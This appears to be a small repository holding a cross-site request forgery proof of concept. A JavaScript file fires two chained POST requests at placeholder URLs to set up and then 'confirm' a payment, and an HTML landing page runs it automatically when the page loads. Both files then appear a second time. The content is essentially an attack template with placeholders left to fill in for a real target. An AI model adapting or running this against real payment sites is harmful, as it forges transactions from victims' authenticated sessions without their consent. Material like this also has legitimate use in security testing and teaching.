hoodoer/csrfPoc.js

## csrfPoc.js
function start()
{
	alert("Start?");
}


function sendRequests()
{
	// Setup the payment
	var uri = "https://SOMEURL.com";
	var xhr = new XMLHttpRequest();
	xhr.open('POST', uri);

	var body = "";
	body += "t"; // Can change the date here

	xhr.send(body);

	// Ok, wait for that to come back, then we'll send the confirmation\
	xhr.onreadystatechange = function()
	{
		if (xhr.readyState == XMLHttpRequest.DONE)
		{
			console.log("Onto phase 2...");
			var secondUri = "https://SOMEOTHERURL.com";
			xhr2 = new XMLHttpRequest();
			xhr2.open('POST', secondUri);

			var body2 = "";

			xhr2.send(body2);
			console.log("Should have confirmed the payment now...");
		}
	}
}


start();
sendRequests();

## landingPage.html
<html>
  <body>
  <script src="./csrfPoc.js"></script>
  Hi!
  </body>
</html>
	function start()
	{
	alert("Start?");
	}



	function sendRequests()
	{
	// Setup the payment
	var uri = "https://SOMEURL.com";
	var xhr = new XMLHttpRequest();
	xhr.open('POST', uri);

	var body = "";
	body += "t"; // Can change the date here

	xhr.send(body);

	// Ok, wait for that to come back, then we'll send the confirmation\
	xhr.onreadystatechange = function()
	{
	if (xhr.readyState == XMLHttpRequest.DONE)
	{
	console.log("Onto phase 2...");
	var secondUri = "https://SOMEOTHERURL.com";
	xhr2 = new XMLHttpRequest();
	xhr2.open('POST', secondUri);

	var body2 = "";

	xhr2.send(body2);
	console.log("Should have confirmed the payment now...");
	}
	}
	}


	start();
	sendRequests();
	<html>
	<body>
	<script src="./csrfPoc.js"></script>
	Hi!
	</body>
	</html>